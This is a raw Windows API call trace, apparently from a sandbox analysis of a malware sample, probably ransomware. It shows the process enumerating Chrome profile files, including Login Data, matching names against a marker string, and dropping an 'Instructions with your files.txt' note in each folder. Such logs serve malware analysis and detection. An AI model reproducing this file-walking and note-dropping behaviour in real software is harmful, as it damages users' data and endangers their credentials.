[0130.389] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8642cdf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8642cdf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x97256fb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOG", cAlternateFileName="")) returned 1
[0130.389] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOG") returned 141
[0130.389] StrStrIW (lpFirst="LOG", lpSrch="SDfghjkl") returned 0x0
[0130.389] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8642cdf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8642cdf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8642cdf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x29, dwReserved0=0x0, dwReserved1=0x0, cFileName="MANIFEST-000001", cAlternateFileName="MANIFE~1")) returned 1
[0130.389] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\MANIFEST-000001") returned 153
[0130.389] StrStrIW (lpFirst="MANIFEST-000001", lpSrch="SDfghjkl") returned 0x0
[0130.389] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8642cdf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8642cdf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8642cdf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x29, dwReserved0=0x0, dwReserved1=0x0, cFileName="MANIFEST-000001", cAlternateFileName="MANIFE~1")) returned 0
[0130.389] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\Instructions with your files.txt") returned 170
[0130.389] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
[0130.390] WriteFile (in: hFile=0x128, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdf34*=0x54, lpOverlapped=0x0) returned 1
[0130.391] WriteFile (in: hFile=0x128, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdf34*=0x18, lpOverlapped=0x0) returned 1
[0130.391] WriteFile (in: hFile=0x128, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdf34*=0xc, lpOverlapped=0x0) returned 1
[0130.391] WriteFile (in: hFile=0x128, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdf34*=0x16, lpOverlapped=0x0) returned 1
[0130.391] WriteFile (in: hFile=0x128, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdf34*=0x23, lpOverlapped=0x0) returned 1
[0130.391] CloseHandle (hObject=0x128) returned 1
[0130.391] FindClose (in: hFindFile=0x876e38 | out: hFindFile=0x876e38) returned 1
[0130.391] GetProcessHeap () returned 0x810000
[0130.391] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f1060 | out: hHeap=0x810000) returned 1
[0130.392] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8642cdf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86513570, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86513570, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ghbmnnjooekpmoecnnnilnnbdlolhkhi", cAlternateFileName="GHBMNN~1")) returned 0
[0130.392] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\Instructions with your files.txt") returned 137
[0130.392] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
[0130.393] WriteFile (in: hFile=0x124, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce1c4*=0x54, lpOverlapped=0x0) returned 1
[0130.394] WriteFile (in: hFile=0x124, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce1c4*=0x18, lpOverlapped=0x0) returned 1
[0130.394] WriteFile (in: hFile=0x124, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce1c4*=0xc, lpOverlapped=0x0) returned 1
[0130.394] WriteFile (in: hFile=0x124, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce1c4*=0x16, lpOverlapped=0x0) returned 1
[0130.394] WriteFile (in: hFile=0x124, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce1c4*=0x23, lpOverlapped=0x0) returned 1
[0130.394] CloseHandle (hObject=0x124) returned 1
[0130.394] FindClose (in: hFindFile=0x876df8 | out: hFindFile=0x876df8) returned 1
[0130.394] GetProcessHeap () returned 0x810000
[0130.394] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e1058 | out: hHeap=0x810000) returned 1
[0130.394] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83ede170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x90191d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x90191d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local Storage", cAlternateFileName="LOCALS~1")) returned 1
[0130.394] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage") returned 93
[0130.394] GetProcessHeap () returned 0x810000
[0130.394] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e1058
[0130.395] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\*") returned 95
[0130.395] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\*", lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83ede170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x90191d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x90191d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876df8
[0130.396] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\.") returned 95
[0130.396] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83ede170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x90191d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x90191d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.396] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\..") returned 96
[0130.396] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x90191d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x90191d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9048b8f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage", cAlternateFileName="CHROME~1.LOC")) returned 1
[0130.396] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage") returned 158
[0130.396] StrStrIW (lpFirst="chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage", lpSrch="SDfghjkl") returned 0x0
[0130.396] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x90191d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x90191d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x904b1a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage-journal", cAlternateFileName="CHROME~2.LOC")) returned 1
[0130.397] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage-journal") returned 166
[0130.397] StrStrIW (lpFirst="chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage-journal", lpSrch="SDfghjkl") returned 0x0
[0130.397] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x90191d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x90191d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x904b1a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage-journal", cAlternateFileName="CHROME~2.LOC")) returned 0
[0130.397] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\Instructions with your files.txt") returned 126
[0130.397] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
[0130.397] WriteFile (in: hFile=0x124, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce1c4*=0x54, lpOverlapped=0x0) returned 1
[0130.398] WriteFile (in: hFile=0x124, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce1c4*=0x18, lpOverlapped=0x0) returned 1
[0130.398] WriteFile (in: hFile=0x124, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce1c4*=0xc, lpOverlapped=0x0) returned 1
[0130.398] WriteFile (in: hFile=0x124, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce1c4*=0x16, lpOverlapped=0x0) returned 1
[0130.398] WriteFile (in: hFile=0x124, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce1c4*=0x23, lpOverlapped=0x0) returned 1
[0130.398] CloseHandle (hObject=0x124) returned 1
[0130.398] FindClose (in: hFindFile=0x876df8 | out: hFindFile=0x876df8) returned 1
[0130.398] GetProcessHeap () returned 0x810000
[0130.398] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e1058 | out: hHeap=0x810000) returned 1
[0130.398] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80fc7e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80fc7e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8124f5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Login Data", cAlternateFileName="LOGIND~1")) returned 1
[0130.398] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data") returned 90
[0130.398] StrStrIW (lpFirst="Login Data", lpSrch="SDfghjkl") returned 0x0
[0130.398] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80fc7e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80fc7e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8129b860, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Login Data-journal", cAlternateFileName="LOGIND~2")) returned 1
[0130.399] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-journal") returned 98
[0130.399] StrStrIW (lpFirst="Login Data-journal", lpSrch="SDfghjkl") returned 0x0
[0130.399] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82330270, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82330270, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x825f0410, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network Action Predictor", cAlternateFileName="NETWOR~1")) returned 1
[0130.399] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor") returned 104
[0130.399] StrStrIW (lpFirst="Network Action Predictor", lpSrch="SDfghjkl") returned 0x0
[0130.399] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82330270, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82330270, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8262ad90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network Action Predictor-journal", cAlternateFileName="NETWOR~2")) returned 1
[0130.399] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor-journal") returned 112
[0130.399] StrStrIW (lpFirst="Network Action Predictor-journal", lpSrch="SDfghjkl") returned 0x0
[0130.399] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86263d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86263d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86263d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network Persistent State", cAlternateFileName="NETWOR~3")) returned 1
[0130.399] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Persistent State") returned 104
[0130.399] StrStrIW (lpFirst="Network Persistent State", lpSrch="SDfghjkl") returned 0x0
[0130.399] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x81d16a10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81d16a10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x94034050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Origin Bound Certs", cAlternateFileName="ORIGIN~1")) returned 1
[0130.399] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs") returned 98
[0130.399] StrStrIW (lpFirst="Origin Bound Certs", lpSrch="SDfghjkl") returned 0x0
[0130.399] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x81d16a10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81d16a10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9405a1b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Origin Bound Certs-journal", cAlternateFileName="ORIGIN~2")) returned 1
[0130.399] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs-journal") returned 106
[0130.399] StrStrIW (lpFirst="Origin Bound Certs-journal", lpSrch="SDfghjkl") returned 0x0
[0130.399] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c43f3e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c446910, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1a9d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Preferences", cAlternateFileName="PREFER~1")) returned 1
[0130.399] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Preferences") returned 91
[0130.399] StrStrIW (lpFirst="Preferences", lpSrch="SDfghjkl") returned 0x0
[0130.399] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7f8dea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f8dea80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8129b860, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="previews_opt_out.db", cAlternateFileName="PREVIE~1.DB")) returned 1
[0130.399] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db") returned 99
[0130.399] StrStrIW (lpFirst="previews_opt_out.db", lpSrch="SDfghjkl") returned 0x0
[0130.399] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x804795c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x804795c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x812c19c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="previews_opt_out.db-journal", cAlternateFileName="PREVIE~1.DB-")) returned 1
[0130.399] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db-journal") returned 107
[0130.399] StrStrIW (lpFirst="previews_opt_out.db-journal", lpSrch="SDfghjkl") returned 0x0
[0130.399] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8687f510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8687f510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x869fc2d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuotaManager", cAlternateFileName="QUOTAM~1")) returned 1
[0130.399] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager") returned 92
[0130.399] StrStrIW (lpFirst="QuotaManager", lpSrch="SDfghjkl") returned 0x0
